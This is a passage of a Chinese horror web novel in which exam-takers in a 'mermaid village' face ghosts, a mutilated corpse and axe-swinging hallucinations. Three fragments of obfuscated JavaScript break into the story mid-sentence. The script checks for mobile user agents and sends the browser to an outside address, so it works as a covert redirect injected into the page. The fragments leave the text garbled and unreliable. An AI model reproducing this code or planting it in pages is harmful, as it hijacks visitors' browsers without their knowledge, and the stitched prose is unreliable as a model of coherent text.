天色渐渐暗了下来,她站在门口上下打量着屋子,过了一会儿又将手放在门把手上准备打开,未知感让陈喻莫名有几分紧张。 吱呀—— “你在做什么?”低沉的嗓音自身后冒出。 陈喻冷不防被突然出现的声音惊到,吓得她把刚刚扭开的门把手又下意识飞速拉上了。 她愣愣地回过头,居然看到了不知道什么时候站在他身后的秦曜。 “天色已晚,秦先生不回自己的屋子休息,跑到别人屋子门口来做什么?”她心有余悸地看着秦曜。 秦曜扶了下眼镜,微笑着说:“我有事想找你谈一下,可以进去吗?” 灰暗的天光只能照出秦曜的轮廓,陈喻莫名有些不放心,随口胡扯:“黑灯瞎火,孤男寡女的,这不好吧?” “你是在担心我的身份吗?”秦曜的声音里透着几分让人悚然的笑意,“你害怕我是鬼吗?” 陈喻的心跳突然加快了几分,右手还死死按在木屋的门把手上:“那你知道我叫什么名字吗?” 秦曜顿了一下说:“不知道。” 听到秦曜的回答陈喻莫名松了口气。 “除了老手,你们几个新人我几乎都不知道名字,但特征大致都是记得的。”秦曜低低地笑了,似乎不想跟她闹着玩了,“好了,晚上外面并不安全,我现在可以进去了吗?” 陈喻应了声好,便打开了木门。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460637|169745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她想着,随便是人是鬼吧,就算是鬼应该也不是什么高级鬼。 让陈喻郁闷的是,她看到的仍然是四面木墙,她也无法询问旁边的秦曜能否看到屋子里的窗户,这样无异于在暴露自己此时的异样。 “怎么称呼?”秦曜问。 “陈喻。” “陈喻……对了,你刚刚在外面做什么?”秦曜竟然还没忘记一开始的问题。 “我想欣赏一下人鱼村的建筑美学,观察一下木屋构造。”她面无表情地信口胡诌,然后随口岔开话题,“不知道秦先生有什么事要找我谈?” 秦曜嘴角微扬,面带和蔼的笑意:“很简单,我想要和陈小姐你合作。” “我以为秦先生早就和我们所有人合作了呢。”陈喻显得格外平静。 “我以为你能明白,不过是权宜之计,总有人要稳住局面的。”秦曜用那种温和的眼神看着她,像是带着几分欣赏,“我一早就注意到你了,你很勇敢,选择了一个人的房间,不是吗?” “一个人住就叫勇敢吗?”陈喻面无表情地说,“我想秦先生是误会了,我是一个考研人,我只是追求安静的环境,我不仅只爱学习,我还喜欢孤立你们所有人。” “你自己住就不害怕吗?” “害怕什么?大不了就是死嘛。”陈喻的背影透着一种说不上来的绝望感,顶着一张面如死灰的脸语气淡淡地说,“有什么比考了无数次还上不了岸更恐怖的?” 她的语气和身形透露着浓浓的死气,颇有一种破罐破摔、死人微活的感觉,秦曜震惊于她的精神状态,并严重怀疑这人考研考疯了。 “说吧,你想让我做什么?”陈喻懒得跟他绕弯子。 秦曜见状也直奔主题:“我希望能跟陈小姐换一下房间。” 她闻言额角跳了一下,朝着印象中窗户的方向看去:“怎么,你看上我的海景房了?” 秦曜见状也朝着她看向的方向看去,她也无法判断出对方究竟能不能看到那里的窗户。 挂在墙上的时钟滴滴答答,见到陈喻不太配合的态度,秦曜终是没再过多停留,只是告诉陈喻想好了后面几天换也可以,毕竟深夜出行可不是个好主意。 陈喻也没看明白秦曜打得什么主意,这间房间难道有什么特殊的吗? 坦白说,她对秦曜这人倒是没多大恶意,她只是单纯地间歇性想创死所有人。 今晚的村庄格外安静,陈喻关了刺眼的灯光,嘀嘀咕咕背了不知多久,便又陷入了昏昏沉沉的状态。 惨白的月光直直打在她的脸上,她不自觉眯缝了一下眼,居然看到了和昨晚一样的身影。 反应过来的陈喻一个激灵,从半梦半醒中彻底清醒。 窗户不知道什么时候又显现出来了,灰暗的天空和潮涨潮落的海域连成一片,木麻黄树被海风拉扯地奇形怪状,而那树下又站着那个胆小瘦弱的女生———许芸芸。 她忍不住困惑,从床上坐了起来,借着月光她看了眼墙上的挂钟,似乎是两点多。 为什么深更半夜许芸芸会一个人站在海边呢? 她不解地看着那道背影,几乎是一动不动的背影。 就在她盯着那道背影眼神有些失焦的时候,猝不及防地,那道身影扭过头来。 确切来说,只有头扭了过来,那身子并未挪动分毫只是头颅转了一百八十度,正正朝她看来,青黑的脸上是两个黑漆漆的洞,眼球被血丝吊着挂在眼眶下方,血红色的大嘴正在往外溢出鲜血…… 卧槽!!! 陈喻的心一下子跳到了嗓子眼,下意识地骂了句脏话,哪里还敢再看,直接倒下闭眼装睡。 妈的,早知道是这样之前就跟秦曜换屋子了。 窗柩突然发出剧烈的摇晃声,像是海风在猛烈拍打,又像是有人在疯狂敲打。 她躺在木板床上清晰地听到自己的心跳声,那声音似乎在她耳边被无限放大。 十几分钟后,窗框附近的声音终于渐渐缓了下来。 就在陈喻稍微松了口气后,屋子的木门突然响了。 “吱呀——” 那是木门被人推开的声音,随之而来的是沉重的脚步声,那声音进进出出,似乎来回跑了好几趟,但每次都在距离她一段距离的地方停下。 如果她有室友的话,她一定会怀疑是另一个人在反反复复地起夜,可是她并没有。 她也不知道自己是什么时候睡过去的,只记得那是一个无比漫长又难熬的夜晚,入耳是剧烈的心跳声。 因为这一晚上的折腾,第二天早上作为考研人的她竟然错过了早六,她是被一道粗旷的男声喊醒的。 “啊———啊———” 她顶着两个黑眼圈走进大汉和黄毛屋子的时候,大汉正在边喊边吐,喊两声吐三口。 时越从厕所出来脸色难看得可怕,像是胃被掏空了一般,也不知道吐了多久,抓着陈喻的手都有些发抖:“黄毛小子……没了。” 4. 人鱼村落(4) 大汉的屋子门口围了一圈人,他们的脸色都不大好看,几个老手站在门外,时越和许芸芸刚从厕所出来,大汉坐在床边似乎把昨天吃得东西都倒干净了。 陈喻不明所以地往里走了几步,看到了骇人的一幕。 大汉身后本应靠窗的那张床几乎是陷在血泊里,躺在上面的人已经全然看不出人形,青黑色的脸上双目还狰狞地睁着,嘴张得大大的似乎要喊出些什么,破碎的脑浆从旁边溢出,似乎是飞溅出来的。 身上是无数道深入骨髓的可怖刀痕,那刀痕似乎像是做鱼时的花刀一般错落有致地布满全身,刀痕力道之深使得刀伤之处的皮肉全部翻卷起来,细碎的肉沫从中溢散而出,一眼看上去满身都是血红稀碎的肉沫。 几乎是看到画面的一瞬间,陈喻扭头就冲进了厕所,顿时吐得上气不接下气。 她真的是来考试的吗?她是来渡劫的吧。 等到几人吐得差不多了,又照例来到昨天吃早饭的屋子,今天的白米粥里多了红豆,粥变成了红彤彤的糊状,很难不让人联想到刚刚的场景。 虽说饥饿感还是很重,但由于刚刚画面的冲击过大,众人的胃口都不太大。 让人觉得有些格格不入的,是木桌中央多出来的一盆鱼食。 陈喻正觉得有些奇怪,突然又听到了熟悉的调调从外面传来。 “嗡叭——嗡叭——” “古鲁嗒——咪啦——” 那些村民又在对着海神祷告了吗? 今天他们来吃饭的时间要比昨天早,祷告现在才开始。 陈喻看着眼前毫无食欲的红豆粥,不知想起了什么,突然起身跑了出去。 等她跑出来的时候村民的祷告声已经停了下来,她距离祷告的海边有点远,几乎是没有停留地,她冲进了之前大汉住的那个房间。 木门被她一脚踢开,里面的场景让她心脏重重跳了一下。 里面血渍肉沫和吐出的污渍布满房间,独独靠里面那张床上血肉模糊的尸体不见了。 “怎么会这样?”一头雾水跟着她跑过来的时越震惊地说。 屋子里面的气味实在很不美妙,陈喻转身就走,又朝着海边跑去。 那是她屋子的窗户正对的地方,也是刚刚村民向海神祷告的地方。 海风轻拂着海面,吹开陈喻额前的碎发,碧蓝的海水清澈透亮,一望无际的海域看不到任何多余的东西。 她侧首发现刚刚还在吃饭的众人几乎都跟了出来,她没有解释自己异常的举动,只是蹲下来抓了把沙子,轻声说:“有一个问题我很早就想问了,这不是个渔村嘛,你们有在这里见过一条鱼吗?” 身后的众人沉默着,的确,他们来了一天多了,无论是在海域还是餐馆都从未见过一条鱼,也没见过有垂钓的村民,别说是鱼了,任何海洋生物都没有,海滩上空落落的,全是沙子。 陈喻唯一见过跟海沾边的便是昨天刘婆婆那里的珍珠蚌壳,可那些东西并不像是新的,反而像是被搁置了很久的陈旧物件。 过了一会儿时越才开口问:“可是如果海里根本没有鱼,那些祷告的村民为什么要带着鱼食来?” “是啊,既然海里没有鱼,他们为什么要带着鱼食来。”陈喻的声音低低的,“所以,海里究竟有什么?” 时越看着广阔深远的海域,被这句话听得起了一声鸡皮疙瘩。 “我想后天的人鱼展览里应该会有新线索。”秦曜抬手扶了下镜框。 虽然被早上的画面影响了食欲,但由于餐馆的餐费过高,众人都不想放弃一天之中唯一一顿免费早餐,所以还是回到了之前的屋子。 可等众人走进屋门看清木桌上的场景时,都愣住了。 只见许芸芸面前摆着的粥碗已经空空荡荡,但她并没有停止用餐,而是徒手抓着木桌中间的那盆鱼食往嘴里塞。 时越看得目瞪口呆,下意识抓住了陈喻的手臂,大汉铁青的面色本就还没恢复过来,差点又嚎了两嗓子。 刚刚众人都跑了出去,谁都没有在意一个人呆在屋子里的许芸芸。 戴着棒球帽的男生竟发出一声轻笑:“刚刚谁说这里没有鱼的?” 陈喻:“……” 她不喜欢这个冷笑话。 今天的路还是许芸芸带的,她除了早餐时狼吞虎咽地吃了一盆鱼食,其他的地方都很正常,甚至没有之前那么胆怯,还主动揽下了带路的活。 陈喻跟在后面眉头轻蹙,也不知道在想些什么,时越看着前方的许芸芸,不自觉抓着陈喻说:“她真的没事吗?咱们这是在朝南走吗?” 她们今天去找的是南海岸的赵师傅,这也是秦曜他们昨天去的地方。 陈喻看了一眼许芸芸,突然想起昨晚的骇人画面,转头问:“她昨天晚上有什么异样吗?” “没有吧,她昨天……”时越突然愣了一下,“好像是有点不对劲,昨天晚上她一直在拽自己脖子上的项链,可是怎么也拽不下来,我甚至还帮她拿剪刀剪来着,但什么都没用,脖子反倒被越勒越红。” “她本来要去洗个澡再睡的,可是不知怎么的也没洗,很快就出来了,出来之后脸色就一直很差,我以为是项链的事让她心情不好,可是没过多久她竟然直接把灯关了,她明明说过屋子里的灯光很暗,自己又很胆小,第一天晚上我们都是开着灯睡的,我后来在想,她是不是在洗手间看到了什么?” 陈喻瞬间会了意:“你是说……她有可能看见浴缸了?” “我也不太确定,其实这些都不是我觉得异常的东西,真正让我觉得不对劲的是昨天半夜,昨天晚上我睡得很早,可是半夜的时候我突然听到她问了句’我的贝壳项链好看吗?‘,如果是平时我肯定觉得她在说梦话,可当时不知道为什么,我下意识地就觉得她在直勾勾地看着我……”时越说着说着起了一身鸡皮疙瘩。 陈喻听了也想起昨晚自己看到的许芸芸来,被“她”盯着可太不美妙了。 “所以你回答她了吗?”陈喻问。 “没有,我哪敢啊,只能装睡。” 陈喻犹豫了一下开口:“我昨晚又在窗外看到她了,她变得……不太好看。” 时越看了看陈喻意味深长的眼神,她一点都不想知道昨晚的许芸芸有多不好看。 陈喻:“对了,有件事我想问你,今天去黄毛屋子的时候,你能看到那间屋子的窗户吗?” 时越:“好像……没有。” 陈喻听了暗暗叹了口气,她今天一直因为这件事有些郁闷,她本来以为昨晚既然看到了窗户,那应该已经恢复正常,可早上在房间醒来的时候,窗户居然又消失了。 不仅如此,她早上去大汉屋子的时候留意过,那间屋子的窗户她也看不到,进入那个屋子的时候她只觉得里面很臭,在拥堵的屋子里挥散不去,而且这臭味她好像最近在哪闻到过。 “……哈哈,我也觉得,很好看吧,这简直就是世界上最美丽的东西,能够买到这样的东西,付出多少代价都值得。” 许芸芸带着笑意的声音传入陈喻耳中,那最后一句甚至带了点偏执的味道。 她和时越抬头看去,发现许芸芸在跟一个满脸络腮胡、皮肤黝黑的大叔说话,一边说一边拿起自己脖子上的贝壳项链向他炫耀。 “你们觉得人鱼村好看吗?这里的屋子好看吗?你们想要知道这样的美丽的村落是怎么建出来的吗?你们想跟我老赵学艺吗?”那大叔拖着沙哑的嗓音问他们。 他黝黑发紫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460638|169745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脸上淌着滑腻的油,络腮胡胡乱贴在脸颊上,披肩的长发杂乱地扔在脑后,活像在日光之下暴晒后的野人,脸颊上挂着笑意,那笑意僵硬悚然,手里拎着一把半人高的斧头,斧头上有着斑斑锈迹以及不明的黑红色污渍,旁边是一堆湿旧的木材。 “这整个人鱼村都是你建的?”陈喻试探着问他。 “怎么可能呢,我们老赵家世世代代都是木匠,这都是祖辈的基业,我不过是班门弄斧罢了。” 还好,至少说明这里的村民是有寿数的,不是长年不灭的怪物。 “来这里的游客都很喜欢欣赏村子里的建造艺术,也很想了解我们家的建造工艺,所以我这里也为各位游客安排了体验课。”赵师傅抹了把头上黝黑滑腻的汗。 “这些屋子有什么建造艺术?我怎么看不出来?”时越凑在陈喻耳边问。 “不知道,我没什么艺术造诣。”陈喻面无表情。 她上次忽悠秦曜时倒是胡诌过这个理由,可她确实没什么艺术细菌。 “你们不觉得这个村子的木屋摆设很像是一个阵吗?”许芸芸在他们身后自顾自说,“像是一个被牢笼,将村子里的所有人都圈在其中。” 陈喻和时越想了想,好像还真是。 “这体验课是算在套餐内还是自费,要是费用高我们可付不起。”陈喻扣扣搜搜地看着裤兜里的三瓜俩枣。 “免费!是免费的!” 赵师傅兴奋地递给她们一人一把斧子,又扔过来几块潮湿陈旧的木材,那木材散发着股霉味,似乎快要长蘑菇了。 时越拎着手里沉甸甸的斧头,黑红的污渍沾染在她的指缝里,给她一种很不妙的感觉:“我们真的要上这个体验课吗?我总有种不详的预感。” “题目越长,信息越多。”陈喻嘀咕了一句。 “嗯?” 时越严重怀疑自己听错了。 赵师傅大致给她们讲解了一下如何发力,并身体力行地做了好几次示范。 陈喻在旁边跟着乱七八糟在空气中抡了好几次,并且嘴里念念有词:“理论源于实践,又作用于实践。” 时越不解,只是一味地拄着斧子观赏,等到她看得有些无聊的时候,赵师傅突然转过身来对她阴恻恻地笑起来。 “我的教学就到这里了,快让我看看我的学生们都学得怎么样了。”他兴奋地说。 时越:“……” 赵师傅滑腻阴湿的眼神游走在她们每个人身上,三个人都有些不舒服。 陈喻看着眼前的发霉木桩,酝酿了一下,高高举起斧子狠狠劈下,她的视线瞬间模糊了。 温热的液体溅了她满身满脸,视线模糊前她似乎看到了一片鲜红,她茫然地抹了把脸,揉了揉眼睛,一低头发现自己的手上沾满了黏腻暗红的鲜血,她摸了摸脸,满脸都是…… “啊——————” 少女尖锐的嘶吼划破整个村落的寂静,那声音撕心裂肺,从她耳边传来。 是时越!! 她茫然地看着原本放置木桩的地方,那里哪有什么木桩,那分明就是半截腿…… 她顺着那条被砍了一半的腿往上看,看到了面如白纸的时越,时越疼得满头冷汗,下意识死死抓着她的肩膀,她的肩膀被抓得很痛,感觉似乎要被抓碎了。 陈喻低头看了看手里沾满血迹的斧子,又看了看疼得快要昏过去的时越,手足无措地扔了手中的斧子,她用身上的衣料疯狂擦拭手上的鲜血,可那些黏腻的血迹却像是长在皮肤上一样,怎么也擦不干净…… “———陈喻!你疯了吗?!” 许芸芸在她耳边呐喊,不知道是被气到还是吓到,许芸芸手里还拎着那把斧头,而那把斧头正朝着她的头挥来。 5. 人鱼村落(5) ——滴答——滴答 湿滑黏腻的血迹从陈喻指间滴落,她低头看着自己的腰腹,那里已经被鲜血完全浸染,似乎被拦腰截断。 疼,很疼。 疼到她喊不出一个字来,她感觉到有温湿的液体在顺着她的脸颊滚落,她也不知道那是冷汗还是刚刚被飞溅上去的血。 生理性的泪水从她眼中溢出,她浑浊的视线落在周遭,周遭哪里还有一块木料,那个木匠早已消失不见,许芸芸举起手里的斧子面目狰狞地又朝时越后背劈去。 时越似有所感,像是被带起了浓烈的怒火,拾起地上的斧头蹦着仅剩的一条腿就朝许芸芸砍去,残肢被扔在地上,血肉在空中甩落,她们变得面目狰狞,浑身鲜血。 她们不再像是人,而像是地狱里放出的魔鬼。 陈喻越来越感受不到自己微弱的气息,身躯沉沉地仰面倒去,额头上的鲜血模糊了她的视线…… 不对!全都不对! 之前黄毛的死多半是因为没去景点,未跟随监考老师的指引,这也说明到达这三个景点应该是硬性规定。 题目既然给出这些信息点就肯定有用,虽然会有干扰信息,但一定不是死局,否则这场考试不就成了无解的送命局。 难道……又被魇住了? “卧槽!卧槽卧槽!!” 时越滋哇乱叫的声音将陈喻的思维拉了回来,像是做了一场噩梦惊醒般,陈喻大口喘着气看着视线慢慢聚焦。 等到感官慢慢恢复正常的时候她居然发现自己又高高举着把斧子,她略一迟疑,旁边那道身影已经快她一步蹿了出去。 ——是高举斧头作势下劈的许芸芸。 “你们两个疯子!我他妈是你们队友啊!!”时越两手空空,一边狂奔一边嘶吼。 陈喻:“……” 所以到底是醒了还是没彻底醒? 陈喻丢开手里的斧头摸了把脸,干净的。 她抬头一看,前面的许芸芸像是着了魔,呲牙咧嘴地举着把斧子追着时越跑,时越骂骂咧咧地狂奔。 她朝着那边跑去,默不作声地在许芸芸前面半寸伸出脚。 许芸芸一眼不眨地目视着前方的时越,全然没有注意脚下,被绊得直直面朝下趴在地上,手里的斧子也顺势飞了出去。 好巧不巧,飞出去的斧子劈在时越身旁的地面上,吓得她又骂了句脏话。 “刚刚怎么回事?”陈喻问。 时越气喘吁吁地坐在地上,看着她的眼神充满了无语和埋怨,陈喻觉得她从时越的眼神里读出了一句话:你还好意思问我怎么回事?! 许芸芸似乎也从被魇住的状态里脱离了出来,从地上爬起来拍着自己衣服上的沙砾,不解地看着眼前的一切:“刚刚发生什么了?我怎么突然趴在地上了?” “你们俩都不记得自己刚刚干了什么了吗?”时越拍拍屁股上的土,站了起来,她的语气带着一种生无可恋的味道,“那木匠要考验咱们学的怎么样,你俩倒好,拿着大斧子就朝我身上劈,怎么,我长得很像块木头吗?” 许芸芸听得一愣:“……然后呢?” “然后?然后你们追,我逃,咱们都插翅难飞。”时越一脸悲伤地看着她们说,“两个人凶神恶煞地就提着斧头追我啊,要不是我跑得快估计这会儿早就血溅当场了。” 陈喻:“……” “我就记得……赵师傅说完之后我就开始劈眼前的木头,可是木头居然跑了,我以为自己出现幻觉了,就追过去想看看,结果那木头居然自己撞到我手里的斧头上,木头裂成了两半,居然从里面淌出了红色的汁液,突然洒了我一身,然后我发现……”许芸芸说着不禁发起抖来。 “……我发现那是血,那是我的血,斧子劈的根本不是木头,斧子劈在了我身上,我疼得说不出话来,我本来想喊你们,可我发现你们都满身鲜血地倒在地上,我顺着地上的血迹看过去,竟然下意识地觉得是我手里的斧子把你们弄成这样的。” “还好,还好你们没事。”许芸芸心有余悸地说。 陈喻也大致讲述了一下自己刚刚遇到的情况,跟许芸芸有些相似,倒是时越碰到的情况跟他俩完全不同。 那木匠说完了话后,对着时越露出个阴森的笑容,她忍不住打了个寒颤。 眼看旁边的陈喻和许芸芸举起了手中的斧头,她也只好装模作样地抡一抡斧头,可她将手放到柱了半天的斧柄处,却怎么也拿不起来。 明明之前试的时候还觉得这斧头很轻,像个假斧头,可如今她用尽全力也无法挪动其分毫。 正当她满头大汗有些焦急的时候,她余光里的一样东西吸引了她的注意。 不知什么时候,眼前本应该摆放着木桩的地方放了一具棺材,黑红的棺木在日光之下显得阴森可怖,她顿时冷汗就流了下来。 “……不是吧。” 几乎是瞬间,她干脆利落地给了自己一巴掌。 睁开眼,棺材还在。 一定是打得不够重。 时越毫不犹豫地又给了自己一巴掌。 再睁开眼,棺材居然真的消失了。 她心有余悸地松了口气,正准备跟旁边的陈喻说,还没转过头就听到利器的破风声,她抬头一看,骂了句娘,转身就跑。 “卧槽!!!” 两个斧子轮流朝她身上劈,陈喻和许芸芸像疯了一样呲牙咧嘴举着斧子追着她跑。 “你们怎么了?!你们疯了吗?!咱们是一伙的啊?!” 陈喻和许芸芸听了时越绘声绘色地描述,默契地沉默了一会儿。 “你刚刚有没有听木匠讲课?”陈喻突然问。 时越:“我当时跑神了,我以为只要看一阵就可以走了呢。” “按照目前我们仨遇到的情况,你似乎是被锁定成了拿来练习的木材。”陈喻一脸认真。 “我和许芸芸看到的画面中,虽然每个人都受伤了,但都是原本在砍木头,结果却砍伤了你,而且你看到的画面和我们都不一样,并且在现实世界我们都在追着你砍。” 时越满脸崩溃:“就因为我没好好听他的课?!” “有这个可能。” 离开赵师傅这后几人的状态都差了很多,除去恐惧之外,饥饿也在疯狂叫嚣,她们只好又去了昨天的餐馆。 不出意外地,其他几人又都聚集在这里,他们的脸色也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460639|169745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好到哪里去,看起来就像是受尽了摧残。 “今天怎么样?”秦曜意味深长地对着陈喻微微一笑,“快来吃点东西吧。” 怎么样?怎么样他难道不是很清楚吗?毕竟他们昨天刚刚去过。 “还好。” 陈喻看了眼秦曜那边,突然注意到秦曜队伍里那个扎双马尾的女生腰间别了朵浅红色的花,她从未见过那样的花,莫名吸引人的注意,一眼看上去就很特殊。 她发现不同队伍之间并没有过多的交流,似乎是秦曜他们几个老人抱团,对他们几人新生也不抱什么希望,陈喻倒也不指望他们。 她和时越一人要了一份饭,许芸芸从包里掏出包面包啃,让陈喻不解的是,今天买饭的还是只有大汉和双马尾。 昨天回屋子的时候,她见过其他人,他们几乎也没买什么零食面包之类的东西,他们难道不饿吗?可他们又分明不会错过每一顿早饭。 三人走在路上的时候,时越突然问:“你说如果我们今天不上这个体验课,算违规吗?” “如果村长是监考老师,他要求我们的只是跟随三位村民去参观,而体验课是村民的安排,这还算是考试要求吗?” “可能界定没有那么分明吧,我们不是老手,不知道违规的度究竟在什么地方,只能保险起见,尽量不要违反。”陈喻略微顿了一下说,“其实我不认为这是件绝对的坏事,一般来说,题目越长,给出的信息也就越多。” “那这到底透露了个什么信息?”时越郁闷。 “抛开考试和超自然现象来说,你觉得离开这里的方法是什么?”陈喻问。 时越试探着说:“等待救援队伍?” “抛开外援。” “那怎么办?总不能游出去吧?游出去……应该是坐船,不,应该是造船!你是说木匠的作用是……”时越似乎突然想通了什么。 陈喻:“只是猜想。” 在村落里游荡了一会儿之后天色逐渐变暗,众人都回到了屋子附近。 陈喻正准备回屋,突然感觉肩膀被人拍了一下,她转过头发现居然是大汉。 “丫头,我想跟你商量个事,就是……你看你一个人住也不安全,如今我也一个人,之前那屋子又发生了那样的事,我自己住也不是很放心,我想着……能不能跟你搭个伴?”大汉挠着头说。 陈喻看了她一眼,面无表情地说:“你就不怕明天一早醒来,我也死在你旁边?” 她说完大汉似乎想起了早上的场景,脸色阴沉了好几个度,说了句打扰了就转身走了。 陈喻看着他远去的背影,心想这人真是奇怪。 之前她也一个人住,怎么从没人关心她安不安全?现在自己害怕了就来她这找安全了。 她转身进了自己的屋子,还是像昨天一样,没有窗户,什么都看不到。 时越回屋后看着四面的木墙麻木地躺在床上,许芸芸在她旁边吃了一堆零食面包,甚至还泡了包面,她似乎又感觉到了饥饿。 “这扔在外面不太好吧?”时越看着许芸芸手里提着的垃圾。 “放在屋子里很难闻的。”许芸芸一脸嫌弃地把手里的一袋垃圾拿出了屋子。 6. 人鱼村落(6) 许芸芸今天也没提洗澡的事,草草收拾了一下就一直嘀嘀咕咕地在低头做着什么。 “这项链……怎么越来越紧了?怎么回事?”她说着声音里带上了哭腔,“到底是怎么回事?!明明一切都好好的……为什么我会来到这个鬼地方?为什么?!” 她的哭腔逐渐带上了怨恨的味道,手指用力拽着脖子上的项链:“什么破考试!根本就是骗人的!这世界上根本不会有这样要人命的考试!根本就不可能有那样不正常的监考老师!我们都被骗了!!这个地方根本就出不去!黄毛已经死了,我们迟早也会死!我受不了了……我受不了了!!” “你冷静一点!” 时越试图按住她拉扯项链的手,那里已经被项链坚韧的绳子摩擦出了一道道血痕。 时越:“我们之中不是有人参加过考试也顺利出来了嘛,说明这不是非死不可的死局,总有解决的办法。” 许芸芸听了却狞笑起来:“参加过并顺利出来?你怎么知道他们说的究竟是真是假?这里这么不正常,你怎么知道他们还是不是人?万一一切都是假的呢?!” 殷红的血线从许芸芸后颈上显现,她吃痛放手,带着怨气将木桌上的矿泉水瓶甩到地上。 时越看着她极不稳定的状态,又想起早上她吃鱼食的样子,最后也没说什么。 四面不透风的屋子看起来拥堵压抑,不知道为什么,看着这样严严实实的木屋时越总想起白天看到的那具棺材。 不知道别人眼中人鱼村的夜晚是什么样,但时越眼中村落的夜晚一直都是静谧安详的。 不过,今晚除外。 裹挟着凉意的海风吹在时越身上,她忍不住扯了扯旁边的被子,扯了半天什么都没扯到。 她睁开朦胧的眼睛,发现被子不知什么时候竟被她踹到了地上,正当她准备把地上的被子捡起来的时候,她却突然愣住了。 她顺着余光扫到的方向看去,原本封闭的木墙上居然挂了个窗子。 时越看着外面黑漆漆地夜色,海风带着潮湿的气息从她的脸颊拂过,深重的夜色中似乎有一道身影移过,她忍不住打了个哆嗦。 她不敢再瞎看,低头准备继续睡觉,却听到窗柩突然传来敲打声,似乎有人在拍她的窗户。 她心如擂鼓,眯起眼睛瞄了一眼,确实有人在窗外,那身影似乎察觉到她的视线转身走了。 可时越看到了那张侧脸—— ——是陈喻!! “芸芸!许芸芸!” 时越轻轻摇着熟睡中的许芸芸,可无论她怎么摇晃怎么在她耳边呐喊那人都没有反应。 陈喻半夜为什么会在外面? 又为什么敲她的窗户? 陈喻是发现了什么想要叫她出去看吗? 又或者——— ———她只是碰到陈喻先前晚上遇到的那种情况? 可她又不能证明前两天许芸芸确实没有出过门。 时越看着熟睡的许芸芸,叹了口气,轻轻推门出去。 夜晚的人鱼村真是既不静谧,也不安详,海风肆虐,吹得她浑身发抖,潮涨潮落的声音在耳边疯狂叫嚣,更窒息的是,迎面吹来的风里掺杂着一股难以言喻的浓烈的腥臭味。 她裹了裹身上单薄的衣服,向着陈喻屋子的方向走去,却一眼看到陈喻就站在海边的树下,迎着海面而立。 这一幕竟有些眼熟,印象中她刚来到这里的时候陈喻也是在那里站着,从背影就透出一种极致的绝望。 “陈喻,你半夜不睡觉,站在这里做什么?”时越边说边朝海边走去。 “时越,你半夜跑出来干什么?” 是陈喻的声音。 “不是你刚刚……”时越话说了一半突然愣住了,伸出去的脚悄无声息地往后退了一步。 明明海风这样大,时越却觉得冷汗瞬间出了满身。 那声音的确是陈喻的声音,但那声音却不是从她前面传来的,而是从她身后。 有两个陈喻? 不对,也可能一个都没有。 她不该出来的。 她缩着身子一时间不知是该往前还是往后,前面的明明能听到她的声音却没有答话,说不定是什么奇怪的东西,可后面的主动问话,会不会才是那些东西的伎俩? 没等她犹豫几秒,面前的陈喻突然转过头来,眼眶上没有眼珠的两个黑洞猝不及防地对上她的视线,惨白的脸色像是白纸一样的质感,张着血红的大嘴就朝她走来…… “卧槽!!!!” 她用尽了毕生最快的速度转身就跑,但无奈腿是软的,四肢像是新安的一样,她只知道自己在手脚并用疯狂地跑,至于什么姿势就不清楚了。 没等她跑几步,拐弯处突然出现一道黑影将她的胳膊拉住了,她死命地挣扎,却被拖入了阴暗的角落,她用尽了力气却最终笨手笨脚地投入了黑影的怀抱。 “………” “我是陈喻。”黑影说。 耗尽力气的时越听到这句话像案板上垂死挣扎的鱼一样咬上了对方的胳膊。 “嘶……你属狗的啊?”黑影又说,“你刚刚到底看到什么了?” 声音确实是陈喻的声音。 时越微微松口,试探着吐出一句话:“你今天背书了吗?” 黑影:“……” 感觉到对方的牙又咬上自己的胳膊,黑影忙说:“背了背了,我真是陈喻,你忘了,我屋子的窗户正对的就是海边,我本来以为我说半夜又遇到许芸芸事件了,没想到看到的竟然是你。” “我看你的动作身形并不像不正常的样子,甚至还叫了我的名字,就在窗口问了一句,结果你突然骂了一句转身就跑,本来我还不确定你是人是鬼,听到那句脏话就赶紧跑出来了。” 时越听完趴在陈喻身上松了口气,抹了把不知道什么时候被吓出来的眼泪:“你刚刚有看到海边有其他人吗?” “我只看到了你,我当时以为你在跟我说话,但头朝向的又不是我,像是在自言自语。”陈喻说。 陈喻说完感觉到怀里的人有些颤抖。 时越战战兢兢地跟她说了一下自己刚刚遇到的情况,她偷偷往外看了一眼,外面分明什么都没有。 “你是说你刚刚看到我了?”陈喻问。 “可不嘛,要不然我能跟着出来,我还以为你发现了什么线索要告诉我。”时越心有余悸。 时越本来想着自己的屋子有点远,要不去陈喻的屋子凑合一下算了,却见陈喻抬脚向外走了。 “哎,哎哎,你上哪去?” “你提醒我了,我突然在想,海边会不会有什么线索?”陈喻按了按眉心,“外面太危险了,你先回我屋子吧,比较近。” 她说着朝海边的方向走去。 